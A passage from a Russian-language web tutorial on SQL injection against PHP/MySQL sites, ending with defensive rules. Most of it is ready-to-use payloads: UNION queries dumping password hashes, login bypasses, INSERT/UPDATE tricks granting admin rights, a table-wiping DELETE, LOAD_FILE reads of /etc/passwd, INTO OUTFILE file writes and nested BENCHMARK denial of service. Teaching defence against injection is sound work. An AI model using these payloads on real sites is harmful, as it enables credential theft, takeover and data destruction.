http://test.com/index.php?id=-1+UNION+SELECT+null

теперь на странице, где должен был быть показан заголовок новости, будет красоваться qwerty.

Как узнать версии MySQL?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

Как вытащить логин текущего пользователя базы данных?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

Как имя используемой базы данных?

http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

Как получить другие данные из других таблиц?

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, `password`, null, null FROM `users` WHERE `id`="1";

Вот таким нехитрым способом узнают пароль или хэш пароля админа. Если же текущий пользователь имеет права доступа к базе «mysql», без малейших проблем злоумышленник получит хэш пароля админа.

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

Теперь его подбор это просто вопрос времени.

Поиск

Поиск - одно из наиболее уязвимых мест, поскольку одновременно передается большое количество параметров запроса. Пример простого запроса, который выполняет поиск по ключевому слову:

SELECT * FROM `news` WHERE `title` LIKE "%$search%" OR `text` LIKE "%$search%"

$search - слово, которое передается с формы. Злоумышленник может передать в переменной $search="# теперь запрос будет выглядеть следующим образом:

SELECT * FROM `news` WHERE `title` LIKE "%"#%" OR `text` LIKE "%"#%";

Соответственно вместо результатов поиска по ключевому слову будут выданы все данные. Это также позволяет использовать возможность объединения запросов, описанную выше.

Использование параметра ORDER

Часто можно увидеть, что при введении параметров поиска, или выводе информации дают возможность пользователю сортировать данные по определенным полям. Скажу сразу, что использование данной уязвимости не является слишком опасным, поскольку при попытке объединения запросов вызовет ошибку, однако в паре с уязвимостями в других полях есть опасность закомментирования этого параметра.

http://test.com/index.php?sort=name

параметр ORDER формируется в зависимости от переменной $sort

Будет сформирован следующий запрос:

SELECT * FROM `news` WHERE `title` LIKE "%"/*%" OR `text` LIKE "%"/*%" ORDER BY */

тем самым комментируется одно из условий и параметр ORDER

Теперь можно снова объединить запрос, присвоив $sort=*/ UNION SELECT…

Как вариант использования уязвимости этого параметра:

SELECT * FROM `users` ORDER BY LENGTH(password);

Позволит отсортировать пользователей в зависимости от длины пароля, при условии, что он сохраняется в «чистом» виде.

Авторизация

Попробуем теперь рассмотреть варианты SQL инъекций, которые возникают при авторизации пользователей. Как правило запрос, который проверяет правильность данных авторизации выглядит следующим образом:

SELECT * FROM `users` WHERE `login`="$login" AND `password`="$password";

где $login и $password это переменные, которые передаются с формы. Подобный запрос возвращает данные по пользователю в случае успеха, а в случае неудачи пустой результат. Соответственно для того, чтобы пройти авторизацию злоумышленнику достаточно модифицировать запрос таким образом, чтобы он вернул ненулевой результат. Задается логин, который соответствует реальному пользователю, а вместо пароля указывается " OR "1"="1 Или какое-нибудь истинное условие (1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 BETWEEN 1 AND 3). Соответственно запрос будет сформирован следующим образом:

SELECT * FROM `users` WHERE `login`="admin" AND `password`="" OR "1"="1";

что вернет результат, а как следствие, приведет к несанкционированной авторизации. А если пароли в таблице хэшированные? Тогда проверку пароля просто «отключают», закомментировав все, что идет после `login`. В форме вместо логина назначается логин реального пользователя и "# тем самым закомментируется проверка пароля.

SELECT * FROM `users` WHERE `login`="admin"#" AND `password`="12345"

как вариант "OR `id`=2#

SELECT * FROM `users` WHERE `login`="" OR `id`=2#" AND `password`="12345"

SELECT * FROM `users` WHERE `login`="" OR `admin`="1"#" AND `password`="12345"

Большой ошибкой является проверка пароля следующим образом:

SELECT * FROM `users` WHERE `login`="$login" AND `password` LIKE "$password"

поскольку в этом случае для любого логина подойдет пароль %

INSERT & UPDATE

Однако не только SELECT-ы являются уязвимым местом SQL. Не менее уязвимыми могут оказаться INSERT и UPDATE. Допустим, на сайте есть возможность регистрации пользователей. Запрос, который добавляет нового пользователя:

Уязвимость одного из полей позволяет модифицировать запрос с необходимыми данными. В поле login добавляем пользователь", "пароль", 1)# тем самым добавив пользователя с правами админа.

INSERT `users` SET `login`="пользователь", `password`="пароль", `admin`="0";

Допустим, что поле `admin` находится перед полем `login`, соответственно трюк с заменой данных, которые идут после поля `login` не проходит. Вспоминаем, что синтаксис команды INSERT позволяет добавлять не только одну строчку, а несколько. Пример уязвимости в поле login: $login= пользователь", "пароль"), (1, "хакер", "пароль")#

INSERT INTO `users` SET (`admin`, `login`, `password`) VALUES (0, "пользователь", "пароль"), (1, "хакер", "пароль")#", "пароль");

Таким образом создается 2 записи, одна с правами простого пользователя, другая с желаемыми правами админа.

Подобная ситуация и с UPDATE

Добавление дополнительных полей для изменения:

$login=", `password`="", `admin`="1

Тогда подобный запрос

UPDATE `users` SET `login`="чайник" WHERE `id`=2;

Модифицируется следующим образом:

UPDATE `users` SET `login`="", `password`="", `admin`="1" WHERE `id`=2;

Что произойдет? Пользователь с ID 2 изменит логин и пароль на пустые значения и получит права админа. Или в случае

$login=", `password`="" WHERE `id` =1#

Логин и пароль админа станут пустыми.

DELETE

Тут все просто, никаких данных получить или изменить не удастся, но удалить лишнее - всегда пожалуйста.

$id=1 OR 1=1

DELETE FROM `news` WHERE `id`="1" OR 1=1; // почистит все записи в таблице.

Вместо 1=1 может быть любое истинное условие, про которое говорилось выше. Может спасти параметр LIMIT, который ограничит количество удаленных строк, но не всегда, его могут просто закомментировать.

DELETE FROM `news` WHERE `id`="1" OR 1=1# LIMIT 1;

Работа с файлами через SQL инъекции

Сильно сомневаюсь, что это где-то может пройти, но справедливости ради нужно описать и такие способы. При включенных привилегиях file можно использовать команды LOAD_FILE и OUTFILE.

Про их опасность можно судить из нижеприведенных запросов:

SELECT * FROM `news` WHERE `id`=-1 union select null,LOAD_FILE("/etc/passwd"),null,null; SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, LOAD_FILE("/home/test/www/dbconf.php"),null,null;

Но на этом все беды еще не заканчиваются.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,"",null,null FROM `news` into outfile "/home/test/www/test.php";

Вот так записываем файл, который содержит PHP код. Правда кроме кода, в нем будет еще несколько записей null но это никаким образом не повлияет на работоспособность PHP кода. Однако есть несколько условий, благодаря которым эти способы сработают:

  • Включена привилегия FILE для текущего пользователя базы данных;
  • Права на чтение или запись этих файлов для пользователя, под которым запускается MySQL сервер абсолютный путь к файлу;
  • менее важное условие - размер файла должен быть меньше чем max_allowed_packet, но поскольку в MySQL 3.23 размер наибольшего пакета может быть 16 мБ, а в 4.0.1 и более, размер пакета ограничивается только количеством доступной памяти, вплоть до теоретического максимума в 2 Гб это условие как правило всегда доступно.

Magic quotes

Магические кавычки делают невозможным использование SQL инъекций в строковых переменных, поскольку автоматически экранирует все " и " которые приходят с $_GET та $_POST. Но это не касается использования уязвимостей в целых или дробных параметрах, правда с поправкой, что нельзя будет использовать ". В этом случае помогает функция сhar.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, char(116, 101, 115, 116), null, null;

DOS через SQL инъекцию.

Чуть не забыл сказать, а знатоки SQL подтвердят, что операция UNION возможна только в MySQL >=4.0.0. С облегчением вздохнули люди, у которых проекты на предыдущих версиях:) Но не все так безопасно, как выглядит на первый взгляд. Логику злоумышленника иногда сложно проследить. «Не получится взломать, так хоть завалю» подумает хацкер, набирая функцию BENCHMARK для примера запрос

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,MD5(NOW()));

Выполнялся у меня от 12 до 15 секунд. Добавив нолик - 174 секунды. На большее у меня просто не поднялась рука. Конечно, на мощных серверах такие вещи будут выполняться намного быстрее, но…BENCHMARK позволяет вкладывать себя один в один. Вот так:

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));

Или даже вот так

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW()))));

Да и количество нулей ограничено разве что «добротой» того, кто их набирает.

Я думаю, что даже ОЧЕНЬ мощная машина, не сможет с легкостью проглотить такие запросы.

Итог

На этом все. В этой статье я старался максимально охватить варианты уязвимостей, которые допускают программисты при создании программ с использованием баз данных MySQL. Однако я более чем уверен, что это далеко не полный перечень.

Важно запомнить правила против SQL инъекций

  • Не доверяйте НИКАКИМ данным, которые приходят от пользователя. Речь идет не только о данных, которые передаются массивами $_GET и $_POST. Не следует забывать про $_COOKIE и другие части HTTP заголовков. Следует помнить про те, что их легко подменить.
  • Не стоит надеяться на опцию PHP «magic quotes», которые наверно больше мешают чем помогают. Все данные, которые передаются в базу данных должны быть сведены по типам с полями базы данных. ($id=(int)$_GET["id"]) или защищены функциями mysql_real_escape_string или mysql_real_escape_string.
  • mysql_real_escape_string не экранирует % и _, поэтому не стоит ее использовать в паре с LIKE.
  • Не стоит также сильно надеяться на правильно написанный mod_rewrite. Это только способы для создания «удобных» URL, но уж никак не способ защиты от SQL инъекций.
  • Отключите вывод информации об ошибках.
  • Не помогайте нехорошим посетителям. Даже если ошибка будет выявлена, отсутствие информации о ней серьезно затруднит ее применение. Помните про разницу между стадией разработки и рабочим проектом. Вывод ошибок и другой детальной информации - ваш союзник на стадии разработки, и союзник злоумышленника в рабочем варианте. Не стоит также прятать их, комментируя в HTML коде, на 1000-чу посетителей найдется 1, который таки найдет подобные вещи.
  • Обрабатывайте ошибки.
  • Напишите обработку SQL запросов таким образом, чтобы информация о них сохранялась в каких-нибудь логах или отсылалась по почте.
  • Не сохраняйте данные доступа к базе данных в файлах, которые не обрабатываются PHP как код.
  • Думаю никому не открыл Америки, но по собственному опыту могу сказать, что подобная практика достаточно распространена. Как правило это файл с расширением *.inc
  • Не создавайте «супер-пользователя» базы данных.
  • Предоставляйте только права, необходимые для выполнения конкретных задач.
  • В поиске стоит ограничить минимальное и максимальное количество символов, являющееся параметрами запроса.
  • Для честного пользователя вполне достаточно от 3-х до 60-70 символов, чтобы удовлетворить свои поисковые интересы, и одновременно вы предупреждаете ситуации, когда поисковым запросом станет том «Войны и мира».
  • Всегда проверяйте количество возвращенных записей после запроса

Почти на 90% сайтов, написанных на php встречается такая логическая ошибка, особенно это можно наблюдать, когда делается запрос на основе полученного ID от пользователя, если руками дать скрипту несуществующий ID - мы увидим достаточно интересные результаты работы некоторых скриптов, вместо того чтобы вернуть 404 программа в лучшем случае ничего не сделает и выведет в чистую страницу.

Безопасного вам SQL .



© 2024 beasthackerz.ru - Браузеры. Аудио. Жесткий диск. Программы. Локальная сеть. Windows